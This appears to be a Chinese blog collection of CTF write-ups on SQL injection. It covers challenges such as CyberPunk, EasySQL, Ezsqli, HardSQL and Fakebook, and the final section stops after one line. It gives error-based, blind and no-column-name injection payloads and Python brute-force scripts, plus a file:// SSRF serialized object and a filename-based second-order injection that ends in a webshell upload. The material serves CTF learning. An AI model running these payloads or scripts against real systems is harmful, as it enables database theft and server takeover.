sql小练

SQL

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点

1、PHP伪协议

2、二次注入

3、报错注入

打开题目后,几经尝试,无果,查看网页源代码,发现提示

在这里插入图片描述

所以我们可以使用PHP伪协议读取文件内容,可以得到以下的内容index.php,search.php,delete.php,config.php,confirm.php,然后base64解码即可得到相应的源码

?file=php://filter/convert.base64-encode/resource=index.php

其中只有change.php有漏洞,其他文件都进行了关键字过滤,没法操作

change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

再change.php中,只对usernamephone进行了严格的过滤,而对address只使用了addslashes()函数过滤,所以我们可以采用报错注入的方式

addslashes()
返回一个字符串,该字符串前面有反斜杠,前面是预定义的字符。

预定义的字符包括:
单引号 (')
双引号 (")
反斜杠 (\)
零

eg.
<?php
$str = addslashes('What does "yolo" mean?');
echo($str);
?>

//输出 What does \"yolo\" mean?

所以注意:

关键sql语句

$sql = "update `user` set `address`='".$address."',`old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

如果user_name和phone参数都没有问题的话,address参数会存入到数据库,当下一次正常查询数据就会被触发造成SQL注入

所以我们利用updatexml()进行报错注入

1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#

这里还要注意updatexml每次只能回显32位,所以需要分两次读取

1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,40)),0x7e),1)#

这里还涉及到一个函数load_file()

在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。

语法:
LOAD_FILE(file_name)

问题:

这里看到其他师傅payload是这样写的,没有理解

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

先提交

在这里插入图片描述

在修改

在这里插入图片描述

即可得到上半flag

在这里插入图片描述

同理,得到下半flag

在这里插入图片描述

[RCTF2015]EasySQL

考点:

1、二次注入
2、报错注入

打开题目,看到有登录注册两个选项

先正常注册登录,进去捣鼓一番后发现可以修改密码,题目又提示easysql,很典型的二次注入题目。

重回注册界面

首先bp抓包来fuzz一下,过滤了挺多关键字的,但是

select、from、regexp、updatexml、extractvlaue、in、information_schema、() ' " # |

这些都还没过滤,所以可以使用报错注入的方式

因为有usernamepassword两个点,不知道哪个点可控,所以我们先尝试

在这里插入图片描述

最终发现当username为 a"a")会出现回显

在这里插入图片描述

因为过滤了orand

所以payload如下

updatexml()extractvalue()都可以使用,updatexml会多一个参数

爆库:

extracvalue

a"||extractvalue(1,concat(0x7e,(select(database())),0x7e))#

在这里插入图片描述

updatexml

a"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

爆表:

a"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e))#

在这里插入图片描述

爆字段名:

a"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e))#

在这里插入图片描述

爆flag:

a"||extractvalue(1,concat(0x7e,(select(flag)from(flag)),0x7e))#

在这里插入图片描述

接着爆其他表

在users表中发现了

在这里插入图片描述

再次爆flag

d"||extractvalue(1,concat(0x7e,(select(real_flag_1s_her)from(users)),0x7e))#

在这里插入图片描述

很显然,它应该对回显结果进行了长度限制

但是他过滤了mid,substr,left,right

因此这里就涉及到了一个新的东西

利用正则匹配查完整的值

正则匹配详解

a"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#

这里的and被过滤了,所以我们只能使用&&

查出真的字段名

在这里插入图片描述

接着查flag

a"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#

在这里插入图片描述

奈何长度太长,又显示不出来

接着查看wp,又发现一个新函数

reverse倒转输出

所以最终payload

a"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#

最后拼接即可

[SUCTF 2019]EasySQL

考点:

1、堆叠注入

2、命令操作符

打开题目,发现我们输入数字时会回显一个数组,而输入字母时无回显,输入flag时会返回nonono

应该是有些字符被过滤了,先用burp来fuzz一下,看看过滤了哪些,最后发现只有几个字符能用

在这里插入图片描述

;没被过滤,可以使用堆叠注入

根据前面的回显信息,我们可以推测出查询语句

$sql = "select ".$post['query']."||flag from Flag";

这里引进一个新知识

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR

非预期解

不设置 PIPES_AS_CONCAT,||即为or

在这里插入图片描述

回顾一下||的作用

a || b
如果a执行失败,则执行b
a && b
如果a执行成功,则执行b

所以构造

select *,1||2 from tp_flag;

所以我们只需要填入*,1即可获得flag

在这里插入图片描述

预期解

设置PIPES_AS_CONCAT||相当于连接符concat

set sql_mode=PIPES_AS_CONCAT;

在这里插入图片描述

所以最后的payload

1;set sql_mode=PIPES_AS_CONCAT;select 1

在这里插入图片描述

[GYCTF2020]Ezsqli

考点:

1、无列名注入

2、盲注

用异或测试,判断为数字型注入

id=1^1	#Error Occured When Fetch Result.即id=0,查询无结果
id=1^0	#Nu1L	id=1
id=1^'0' #Nu1L	数字型注入,若为单引号字符注入此处会报错bool(false)

查看harckbar,post传参

在这里插入图片描述

fuzz一下 ,发现information、union、in、or、if被过滤了

先进行测试,成功返回Nu1L,失败返回V&Nor被过滤了可以使用||代替

2||length(database())>1 返回Nu1L
2||length(database())>100 返回V&N
//因为2为错,所以后面的为正确的就会返回Nu1L

根据盲注编写脚本

获取库名:

import requests
url = "http://d17f0441-4262-43ab-9365-07fa010bdf57.node4.buuoj.cn:81/index.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz_"
anser = ""

for i in range(1,100):
    for j in dict:
        payload = "2||(substr(database(),{},1)={})".format(int(i),ascii(j))
        data = {
            "id":payload
        }
        re = requests.post(url,data=data)
        if "Nu1L" in re.text:
            anser+=j
            print(anser)
print(anser)

二分法脚本,速度更快

import requests
import time

# url是不一样的
url = 'http://d17f0441-4262-43ab-9365-07fa010bdf57.node4.buuoj.cn:81/index.php'
i = 0
anser = ''
while True:
    i += 1
    #有效符号的ascii值,起始,结束
    begin = 32
    end = 126
    aver = (begin + end) // 2  #/表示浮点数除法,返回浮点结果;//表示整数除法。
    while begin < end:
        time.sleep(0.1)
        #查数据库
        payload = "2||(ascii(substr(database(),{},1))>{})".format(i,aver)
        #查表
        payload = "2||(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{})".format(i,aver)
        #
        data = {
            "id":payload
        }
        r = requests.post(url,data=data)
        if 'Nu1L' in r.text:
            begin = aver + 1
            aver = (begin + end) // 2
        else:
            end = aver
            aver = (begin + end) // 2
    anser += chr(aver)
    print(anser)
    if begin == 32:
        break

这里测试了一下,mysql库也用不了了

mysql.innodb_table_stats
mysql.innodb_index_stats

但是发现可以使用sys.x$schema_flattened_keys 或者 sys.schema_table_statistics_with_buffer代替,所以构造出查表名的payload,其实这里应该不难发现可以不用测出库名的,可以直接使用database()来代替,而且这里有个问题,测出来的表名带进去会出错,不知道是因为什么

2||(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),0,1))>1)

接下来就是无列名爆值了,可以参考无列名注入

将查询语句与相同数量的列进行比较,mysql在字符和数字比较的时候,会将字符串转成数字。而字符串之间的比较遵循从右到左的优先级挨个比较。利用这个来爆破字段值

pyhon脚本


库名:give_grandpa_pa_pa_pa

在这里插入图片描述

表名f1ag_1s_h3r3_hhhhh

在这里插入图片描述

因为这里无回显,所以不能使用join来爆列名

同时这里的union被过滤了,所以也不能用起别名的方式绕过

所以这里只能采用逐字符比较的方法来直接爆破数据,具体可参照我的另一篇文章无列名注入姿势总结

脚本如下:

import requests

url='http://e0e4d9bf-1f0b-435c-aedf-6d1aa33856ce.node4.buuoj.cn:81/'
flag=''
for i in range(1,50):
    for j in range(32,128):
        hexchar=flag+chr(j)
        payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
        #print(payload)
        data={'id':payload}
        re=requests.post(url=url,data=data)
        if 'Nu1L' in re.text:
            flag+=chr(j-1)
            print(flag.lower())  #因为出来的flag时大写,所以这里使用lower()函数将其转换为小写
            break

[极客大挑战 2019]BabySQL

试试万能密码,发现竟然错误,结合题目提示,发现or被过滤了

在这里插入图片描述

双写or,成功

在这里插入图片描述

在这里插入图片描述

再次测试,发现连着的select,union等都被过滤了,但是我们可以双写绕过,竟然注释符没被过滤,不错

查有多少字段

在这里插入图片描述

在这里插入图片描述

说明有三列,接着查库

admin' ununionion seselectlect 1,2,database()#

在这里插入图片描述

查表

admin' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

在这里插入图片描述

接着查字段

admin' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

在这里插入图片描述

查数据,得到flag

admin' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom geek.b4bsql#

在这里插入图片描述

[极客大挑战 2019]HardSQL

经过我们测试,发现空格被过滤了,和sqli labs less-26比较类似。

在这里插入图片描述

我们可以利用updatexml函数来进行注入,因 为这样不用用到空格。

查库

admin'or(updatexml(1,concat(0x7e,database(),0x7e),2))#

在这里插入图片描述

查表,这里最开始发现竟然payload不对,后面多次实验发现是'='被过滤了,用'like'代替

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),2))#

在这里插入图片描述

查字段名

admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

在这里插入图片描述

查数据,得到一半flag

admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),2))#

在这里插入图片描述

这里发现substr函数也被过滤了,所以我们可以使用right()函数来替代

right():从字符串中提取多个字符(从右开始)。

在这里插入图片描述

查另一半的flag

admin'or(updatexml(1,concat(0x7e,(select(right(password,50))from(H4rDsq1)),0x7e),2))#

在这里插入图片描述

重复的去掉,然后组合成flag即可

flag{dad1f7b7-7b86-4668-9c2c-5bbfb1fda4a1}

[GXYCTF2019]BabySQli

首先在这里说一下两种加密区分

base32:只有大写字母和数字数字组成,或者后面有三个等号。
base64:只有大写字母和数字,小写字母组成,后面一般是两个等号。

首先我们尝试随便登录

在这里插入图片描述

在这里看到绿色字体只由大写字母和数字组成,所以我们想到了base32加密,将其先base32解码,在base64解码,得到,说明我们对于$name的注入思路是没有问题的

select * from user where username = '$name'

我们再尝试admin登录,可以看到返回的是wrong pass,说明admin是正确的登录名

在这里插入图片描述

接着利用万能密码,失败,发现过滤了括号,or,=等等

所以结合上面,发现问题就出在密码这里,因为密码一般放进数据库里是加密了的,而加密方式无非就是mysql、mysql5、md5三种,所以我们挨个试试,最后发现是md5加密

而字段一般都是id、username、password这种顺序,所以我们构造payload

name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

get flag

在这里插入图片描述

[SWPU2019]Web1

二次注入

首先来到首页,发现无论怎么尝试都是登陆失败,但我们发现下方还有注册选项,我们进去,随便注册一个号,然后用注册的号登录。

在这里插入图片描述

来到这样一个界面,发现只有'申请发布广告'可点,进去,先随便输入尝试,发现'广告详情',继续点进去

在这里插入图片描述

发现端倪,id=3,说明这里存在sql注入,经过尝试,发现广告名对id后面的值有影响,所以确定注入点就在’广告名‘处。但发现过滤了or,#,--+,information_schema和空格

这里第一次遇到过滤information_schema的情况,特此纪念一下
空格可以用是/**/代替,information_schema可以用其他库代替,如mysql 、sys
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用

所以构造payload,这里测试了一下,居然由22列,要有耐心才行

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

然后就得到了数据库名

在这里插入图片描述

接着爆表,这里注意web1要用双引号包裹而不能使用单引号,我也不知道为什么,感觉应该是源码出了些许差错,照理说应该都可以的

-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_index_stats/**/where/**/database_name="web1"'a

在这里插入图片描述

无列名爆值

这里用的是无列名爆值,这里第一次遇到,记录一下,一般是在information_schema被过滤的情况下使用

意思就在不知道列名的情况下,从表中提取数据的方法。
在mysql中演示,首先进行基本查询

在这里插入图片描述

接着是将列名转换为任何可选的已知值

在这里插入图片描述

这样我们就可以用1,2,3,4来代替列名了(后面的那个参数redforce是可以随便更改的,其实是省略了as,原句应该是select 4 from (select 1,2,3,4 union select * from test) as redforce;)

在这里插入图片描述

根据这个原理我们就可以进行无列名爆flag了

发现广告名栏会显示第二列的内容,而广告内容会显示第三列的内容,所以构造

payload:

-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'a

在这里插入图片描述

得到flag

[WUSTCTF2020]颜值成绩单

打开界面,我们随便输入个1,2,3,4,都能得到相应的回显,同时我们可以注意到url

在这里插入图片描述

说明这是get型注入,同时测试发现空格被过滤了,这里可以使用/**/代替

同时我们测试输入

if(length(database())<10,1,2)

这里说明遇到的if语句:

if(a,b,c):如果满足条件a,就返回b,不满足就返回c。
所以这个语句的意思就是如果数据库名的长度小于10就返回输入1的值,即'Hi admin, your score is: 100',如果不满足就会返回输入2的值

所以可以判定这是个盲注,这里最快的方法就是写二分法脚本,这里我是参考网上师傅的脚本,就不贴了,有需要的可以自行上网搜。

最后说一句flag是在value字段里,而不再flag字段里。

[b01lers2020]Life on Mars

打开题目,什么都没有,点击链接,也什么都没有发现,尝试burp抓几个包看看有无突破点

结果发现这里还真的有,判断可能为get型注入

在这里插入图片描述

几经尝试,发现当searh后面的名字正确时,将会得到以下界面在这里插入图片描述

提醒一下,这里是一定要用火狐浏览器的,因为它字带美化排版功能,否则你将看到的是,令人头晕

在这里插入图片描述

接着我们尝试查一下字段数

?search=utopia_basin order by 2

可以发现,当2时回显信息,说明字段数为2

在这里插入图片描述

尝试确定一下回显的位置。没错,是在最末尾

?search=utopia_basin union select 1,2

在这里插入图片描述

接下来的事情就简单了,查库

?search=utopia_basin union select 1,database()

在这里插入图片描述

查表:

?search=utopia_basin union select 1,group_concat(table_name) from information_schema.tables where table_schema='aliens'

在这里插入图片描述

查列名:

?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='utopia_basin'

在这里插入图片描述

查查数据:

?search=amazonis_planitia union select group_concat(name),group_concat(description) from aliens.utopia_basin

在这里插入图片描述

flag呢?淦

仔细思考了一下,唯一的可能就是存在其他的数据库,重新查库:

?search=utopia_basin union select 1,group_concat(schema_name) from information_schema.schemata

在这里插入图片描述

果不其然,还有两个数据库,继续查alien_code这个库,剩下的步骤就一样就不演示了,最后查出来由id和code两个字段,flag在code字段里

?search=amazonis_planitia union select 1,group_concat(code) from alien_code.code

在这里插入图片描述

总结一下:

1.在没有思路的时候,可以先尝试看看源码,用burp抓抓包,可能就会发现入口了。

2.做题时考虑周全一些,否则会多走一些弯路。

[October 2019] Twice SQL Injection

简单的二次注入题

注册时将payload放在username处,再次登录时即可看到sql语句回显的结果了

这里只展示一个查库

uername=1' union select database() #

在这里插入图片描述

flag:

uername=1' union select flag from flag #

在这里插入图片描述

[RootersCTF2019]babyWeb

根据题目可知,过滤了union、sleep、单引号、双引号、or、-、benchmark

=过滤了‘联合查询’、‘时间盲注’、注释....

单引号可以用%20代替,union没了可以用报错注入(updataxml),至此,整体思路明了了

查字段数:

1,2回显正常,3回显错误,说明有两个字段。

在这里插入图片描述

而其中一个字段为unique,剩下的那个肯定就是flag了

万能密码登录

1||1=1 limit 1

在这里插入图片描述

不行不是很能理解

[网鼎杯 2018]Fakebook

考点:

1、sql注入
2、反序列化
3、ssrf

随便注册一个账户

在这里插入图片描述

进去后发现username下面的1是个超链接,点进去

在这里插入图片描述

发现url处存在注入

在这里插入图片描述

但是这里有waf,当出现有union select的时候就会被拦截,绕过方式有很多,可以使用union all select或者用/**/代替空格进行绕过

/view.php?no=1 union/**/select 1,2,3,4#的时候回显

接下来查库

/view.php?no=1 union/**/select 1,database(),3,4#  fakebook

查表

/view.php?no=1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#  user

查列名

/view.php?no=1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'#   no,username,passwd,data

查数据

/view.php?no=1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users# 

1d1a05b40f186efa8c4152341eb69a1c8ac32ea0c3d76d6d071427a902ed8ec88c320f54ca1d4e8301a9a43746c74826d2c9113dc30ff93a68e7eda21aa5d94ab4e69O:8:”UserInfo”:3:{s:4:”name”;s:4:”d1a0”;s:3:”age”;i:111;s:4:”blog”;s:11:”www.d1a0.cn";} 

得到的这个数据是我们个人资料的反序列化数据

接下来用dirseach扫描目录

发现flag.phprobots.txt

robots.txt

User-agent: *
Disallow: /user.php.bak

下载得到

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

一个简单的反序列化

payload

<?php
class Userinfo
{
    public $name = "sss";
    public $age = 17;
    public $blog = "file:///var/www/html/flag.php";
}
$data = new Userinfo();
echo serialize($data);
?>

得出

O:8:"Userinfo":3:{s:4:"name";s:3:"sss";s:3:"age";i:17;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

在这里插入图片描述

查看源码即可获得base64加密后的flag

在这里插入图片描述

[CISCN2019 华北赛区 Day2 Web1]Hack World

首先发现题目是一个查询的表单,并且告诉了表名和字段名都是flag,首先随便提交id=1和id=2,发现回显信息不一样,并且发现过滤了union、and、or、空格等

发现是盲注,正确时返回Hello......

所以构造出payload

if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)

法一:

加快速度,写个脚本

脚本1:

import requests

dic='-{abcdefghijklmnopqrstuvwxyz0123456789}'
url="http://d485ba7a-e5ae-441d-a555-887a88c35d20.node4.buuoj.cn/index.php" 
string=''
for i in range(1,50):
    for j in dic:
        id="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
        data={"id":id}
        r=requests.post(url,data=data,timeout=10)
        if "Hello" in r.text:
            string+=j
            print(string)
print(string)

脚本2:

import requests

url="http://d485ba7a-e5ae-441d-a555-887a88c35d20.node4.buuoj.cn/index.php"
dic='-{abcdefghijklmnopqrstuvwxyz0123456789}'
anser = ''
for i in range(1,50):
    for j in dic:        
        payload="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
        da={"id":payload}
        c = requests.post(url,data=da,timeout=10)
        if 'Hello' in c.text:
            anser += j
            print(anser)
            break

脚本2会比脚本1快很多,原理我现在不是很清楚(目前编程语言学的不好)

法二:

使用异或,用它可以起到代替or的作用。

0^(ascii(substr((select(flag)from(flag)),1,1))>1)

if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。

二分法的脚本

import requests
import time

url = "http://d485ba7a-e5ae-441d-a555-887a88c35d20.node4.buuoj.cn/index.php"
payload = {
	"id" : ""
}
result = ""
for i in range(1,100):
	l = 33
	r =130
	mid = (l+r)>>1
	while(l<r):
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
		html = requests.post(url,data=payload)
		print(payload)
		if "Hello" in html.text:
			l = mid+1
		else:
			r = mid
		mid = (l+r)>>1
	if(chr(mid)==" "):
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

[极客大挑战 2019]FinalSQL

import requests
import time

# url是不一样的
url = 'http://b1415692-f025-4dd7-90d8-ae8d0562765e.node4.buuoj.cn:81/search.php?id='
i = 0
flag = ''
while True:
    i += 1
    #有效符号的ascii值,起始,结束   
    begin = 32
    end = 126
    aver = (begin + end) // 2  #/表示 浮点数除法,返回浮点结果;//表示整数除法。
    while begin < end:      
        time.sleep(0.1)     
        # 爆数据库
        # payload = "''or(ascii(substr(database(),{},1))>{})".format(i, aver)
        # 爆表
        # payload = "''or(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),{},1))>{})".format(i, aver)
        # 爆字段
        # payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),{},1))>{})".format(i, aver) 
        #爆flag
        payload = "''or(ascii(substr((select(password)from(F1naI1y)where(username='flag')),{},1))>{})".format(i, aver)        
        r = requests.get(url+payload)
        if 'Click' in r.text:
            begin = aver + 1
            aver = (begin + end) // 2
        else:
            end = aver
            aver = (begin + end) // 2
    flag += chr(aver)
    print(flag)
    if begin == 32:
        break

[XDCTF 2015]filemanager(*)

扫到了/www.tar.gz

down下来之后是源码

image-20220325133607198

简单审计

一个一个审

xdctf.sql

SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;

DROP DATABASE IF EXISTS `xdctf`;
CREATE DATABASE xdctf;
USE xdctf;

DROP TABLE IF EXISTS `file`;
CREATE TABLE `file` (
  `fid` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `filename` varchar(256) NOT NULL,
  `oldname` varchar(256) DEFAULT NULL,
  `view` int(11) DEFAULT NULL,
  `extension` varchar(32) DEFAULT NULL,
  PRIMARY KEY (`fid`)
) ENGINE=InnoDB AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;

SET FOREIGN_KEY_CHECKS = 1;

告诉了数据库里的表结构

common.inc.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午7:58
 */

$DATABASE = array(

	"host" => "127.0.0.1",
	"username" => "root",
	"password" => "ayshbdfuybwayfgby",
	"dbname" => "xdctf",
);

$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);
$req = array();

foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
	foreach ($global_var as $key => $value) {
		is_string($value) && $req[$key] = addslashes($value);
	}
}

define("UPLOAD_DIR", "upload/");

function redirect($location) {
	header("Location: {$location}");
	exit;
}

这段

foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
	foreach ($global_var as $key => $value) {
		is_string($value) && $req[$key] = addslashes($value);
	}
}

对传入的参数进行了addslashes转义

delete.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午9:39
 */

require_once "common.inc.php";

if(isset($req['filename'])) {
    $result = $db->query("select * from `file` where `filename`='{$req['filename']}'");
    if ($result->num_rows>0){
        $result = $result->fetch_assoc();
    }

    $filename = UPLOAD_DIR . $result["filename"] . $result["extension"];
    if ($result && file_exists($filename)) {
        $db->query('delete from `file` where `fid`=' . $result["fid"]);
        unlink($filename);
        redirect("/");
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>file manage</title>
    <base href="/">
    <meta charset="utf-8" />
</head>
<h3>Delete file</h3>
<body>
    <form method="post">
        <p>
            <span>delete filename(exclude extension):</span>
            <input type="text" name="filename">
        </p>
        <p>
            <input type="submit" value="delete">
        </p>
    </form>
</body>
</html>

目前来看没什么用

index.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午7:46
 */

?>

<!DOCTYPE html>
<html>
<head>
    <title>file manage</title>
    <base href="./">
    <meta charset="utf-8" />
</head>
<body>
    <h3>Control</h3>
    <ul style="list-style: none;">
        <li><a href="./delete.php">Delete file</a></li>
        <li><a href="./rename.php">Rename file</a></li>
    </ul>

    <h3>Content</h3>
    <form action="./upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upfile">
        <input type="submit" value="upload file">
    </form>
</body>
</html>

upload.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午8:45
 */

require_once "common.inc.php";

if ($_FILES) {
	$file = $_FILES["upfile"];
	if ($file["error"] == UPLOAD_ERR_OK) {
		$name = basename($file["name"]);
		$path_parts = pathinfo($name);

		if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
			exit("error extension");
		}
		$path_parts["extension"] = "." . $path_parts["extension"];

		$name = $path_parts["filename"] . $path_parts["extension"];

		// $path_parts["filename"] = $db->quote($path_parts["filename"]);
		// Fix
		$path_parts['filename'] = addslashes($path_parts['filename']);

		$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

		$fetch = $db->query($sql);

		if ($fetch->num_rows > 0) {
			exit("file is exists");
		}

		if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {

			$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
			$re = $db->query($sql);
			if (!$re) {
				print_r($db->error);
				exit;
			}
			$url = "/" . UPLOAD_DIR . $name;
			echo "Your file is upload, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
		} else {
			exit("upload error");
		}

	} else {
		print_r(error_get_last());
		exit;
	}
}

上传的文件经过了几次检查

1.后缀只能为"gif", "jpg", "png", "zip", "txt"
2.$path_parts["filename"]
3.addslashes()转义
4.insert进入数据库

rename.php

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午9:39
 */

require_once "common.inc.php";

if (isset($req['oldname']) && isset($req['newname'])) {
	$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
	if ($result->num_rows > 0) {
		$result = $result->fetch_assoc();
	} else {
		exit("old file doesn't exists!");
	}

	if ($result) {

		$req['newname'] = basename($req['newname']);
		$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
		if (!$re) {
			print_r($db->error);
			exit;
		}
		$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
		$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
		if (file_exists($oldname)) {
			rename($oldname, $newname);
		}
		$url = "/" . $newname;
		echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
	}
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>file manage</title>
    <base href="/">
    <meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
    <p>
        <span>old filename(exclude extension):</span>
        <input type="text" name="oldname">
    </p>
    <p>
        <span>new filename(exclude extension):</span>
        <input type="text" name="newname">
    </p>
    <p>
        <input type="submit" value="rename">
    </p>
</form>
</body>
</html>

首先filename={$req['oldname']}是从数据库查询输入的oldname是否在于filename字段,然后update修改。
oldname={$result['filename']}将之前从数据库中查询出的filename更新到oldname当中,这样在再次进入数据库时就造成了二次注入

思路

在上传文件时,我们是可以对后缀进行控制的,也就是说,我们可以通过upload.php插入时构造语句,然后在rename.php中update数据库更新进行二次注入将extension字段的值改为空,同时也可以控制filename的值,那么等于说rename函数的两个参数的值都是可控的

另外当修改文件名的时候检查了文件是否存在,因为利用注入时将extension改为空了,那么实际上数据库中的filename总比文件系统中真实的文件名少一个后缀但是我们通过注入修改filename的值,实际上upload目录下的文件名是没有修改的。

所以绕过file_exists()只需要再次上传一个与数据库当中filename的值相同的文件名即可

具体实现

首先上传一个文件名为:',extension='',filename='xxxx.jpg.jpg的文件

image-20220325144500078

然后修改为shell.jpg

image-20220325144539039

image-20220325144607715

然后上传一个shell文件

image-20220325150037739

重命名为shell.php

image-20220325150114884

访问shell获得flag

http://da1022ee-cc7d-47ec-a13a-a973a918bf0a.node4.buuoj.cn:81/upload/shell.php

Some Words

url处发现注入

image-20220325151530667

